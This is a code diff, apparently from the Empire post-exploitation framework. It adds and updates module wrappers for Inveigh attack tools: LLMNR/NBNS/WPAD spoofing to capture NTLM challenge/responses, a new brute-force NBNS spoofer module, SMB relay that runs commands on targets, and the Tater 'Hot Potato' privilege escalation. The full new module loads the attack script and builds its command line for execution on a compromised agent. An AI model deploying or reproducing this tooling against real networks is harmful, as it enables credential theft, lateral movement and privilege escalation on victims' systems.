'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
'Required' : False,
'Value' : ''
},
'SpooferHostsReply' : {
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferHostsIgnore' : {
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferIPsReply' : {
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferIPsIgnore' : {
'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferRepeat' : {
'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
'Required' : False,
'Value' : ''
},
@ -51,31 +76,71 @@ class Module:
'Description' : 'Enable/Disable LLMNR spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'LLMNRTTL' : {
'Description' : 'Custom LLMNR TTL in seconds for the response packet.',
'Required' : False,
'Value' : ''
},
'NBNS' : {
'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'NBNSTTL' : {
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
'Required' : False,
'Value' : ''
},
'NBNSTypes' : {
'Description' : 'Comma separated list of NBNS types to spoof.',
'Required' : False,
'Value' : '00,20'
},
'Repeat' : {
'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'SpoofList' : {
'Description' : 'Comma separated list of hostnames to spoof with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'HTTP' : {
'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'HTTPAuth' : {
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'HTTPBasicRealm' : {
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
'Required' : False,
'Value' : 'IIS'
},
'HTTPResponse' : {
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests.',
'Required' : False,
'Value' : ''
},
'WPADAuth' : {
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'WPADIP' : {
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
'Required' : False,
'Value' : ''
},
'WPADPort' : {
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
'Required' : False,
'Value' : ''
},
'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False,
'Value' : ''
},
'WPADResponse' : {
'Description' : 'Wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set.',
'Required' : False,
'Value' : ''
},
'SMB' : {
'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).',
@ -92,11 +157,6 @@ class Module:
'Required' : False,
'Value' : 'N'
},
'ForceWPADAuth' : {
'Description' : 'Enable/Disable LLMNR spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : False,

View File

@ -0,0 +1,180 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-InveighBruteForce',
'Author': ['Kevin Robertson'],
'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. '
'This function can be used to perform NBNS spoofing across subnets and/or perform NBNS '
'spoofing without an elevated administrator or SYSTEM shell.),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Kevin-Robertson/Inveigh'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'SpooferIP' : {
'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
'Required' : False,
'Value' : ''
},
'SpooferTarget' : {
'Description' : 'IP address to target for brute force NBNS spoofing.',
'Required' : True,
'Value' : ''
},
'Hostname' : {
'Description' : 'Hostname to spoof with NBNS spoofing.',
'Required' : False,
'Value' : 'WPAD'
},
'NBNS' : {
'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'NBNSPause' : {
'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.',
'Required' : False,
'Value' : ''
},
'NBNSTTL' : {
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
'Required' : False,
'Value' : ''
},
'HTTP' : {
'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'HTTPAuth' : {
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'HTTPBasicRealm' : {
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
'Required' : False,
'Value' : 'IIS'
},
'HTTPResponse' : {
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests.',
'Required' : False,
'Value' : ''
},
'WPADAuth' : {
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'WPADIP' : {
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
'Required' : False,
'Value' : ''
},
'WPADPort' : {
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
'Required' : False,
'Value' : ''
},
'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False,
'Value' : ''
},
'WPADResponse' : {
'Description' : 'Wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set.',
'Required' : False,
'Value' : ''
},
'Challenge' : {
'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
'Required' : False,
'Value' : ''
},
'MachineAccounts' : {
'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
'Required' : False,
'Value' : 'N'
},
'RunCount' : {
'Description' : 'Number of captures to perform before auto-exiting.',
'Required' : False,
'Value' : ''
},
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# disable file output
script += "\n" + 'Invoke-InveighBruteForce -ConsoleOutput "Y" -Tool "2" '
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
if "," in str(values['Value']):
quoted = '"' + str(values['Value']).replace(',', '","') + '"'
script += " -" + str(option) + " " + quoted
else:
script += " -" + str(option) + " \"" + str(values['Value']) + "\""
return script

View File

@ -13,7 +13,7 @@ class Module:
'If the authentication is successfully relayed and the account is '
'a local administrator, a specified command will be executed on the '
'target PSExec style. This module works best while also running '
'collection/inveigh with HTTP disabled in collection/inveigh.'),
'collection/inveigh with HTTP disabled.'),
'Background' : True,
@ -45,11 +45,11 @@ class Module:
'Value' : ''
},
'SMBRelayCommand' : {
'Description' : 'Command to execute on SMB relay target.',
'Description' : 'Command to execute on SMB relay target. Do not wrap command in quotes.',
'Required' : True,
'Value' : ''
},
'SMBRelayUsernames' : {
'SMBRelayUsernames' : {
'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
'Required' : False,
'Value' : ''
@ -58,6 +58,11 @@ class Module:
'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : False,
'Value' : ''
}
}

View File

@ -10,8 +10,7 @@ class Module:
'Author': ['Kevin Robertson'],
'Description': ('Tater is a PowerShell implementation of the Hot Potato '
'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec '
'@foxglovesec.'),
'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'),
'Background' : True,
@ -42,62 +41,67 @@ class Module:
'Required' : False,
'Value' : ''
},
'SpooferIP' : {
'SpooferIP' : {
'Description' : 'IP address included in NBNS response.',
'Required' : False,
'Value' : ''
},
'Command' : {
'Command' : {
'Description' : 'Command to execute during privilege escalation. Do not wrap command in quotes.',
'Required' : True,
'Value' : ''
},
'NBNS' : {
'NBNS' : {
'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'NBNSLimit' : {
'NBNSLimit' : {
'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'Trigger' : {
'Trigger' : {
'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task',
'Required' : False,
'Value' : '1'
},
'ExhaustUDP' : {
'ExhaustUDP' : {
'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).',
'Required' : False,
'Value' : 'N'
},
'HTTPPort' : {
'HTTPPort' : {
'Description' : 'TCP port for the HTTP listener.',
'Required' : False,
'Value' : '80'
},
'Hostname' : {
'Description' : 'Hostname to spoof. "WPAD.DOMAIN.TLD" is required by Windows Server 2008.',
'Hostname' : {
'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.',
'Required' : False,
'Value' : 'WPAD'
},
'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid Tater catching Empire HTTP traffic.',
'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False,
'Value' : ''
},
'WPADPort' : {
'WPADPort' : {
'Description' : 'Proxy server port to be included in the wpad.dat file.',
'Required' : False,
'Value' : ''
},
'Taskname' : {
'Description' : 'Scheduled task name to use with trigger 2',
'TaskDelete' : {
'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.',
'Required' : False,
'Value' : 'Y'
},
'Taskname' : {
'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.',
'Required' : False,
'Value' : 'Empire'
},
'RunTime' : {
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : False,
'Value' : ''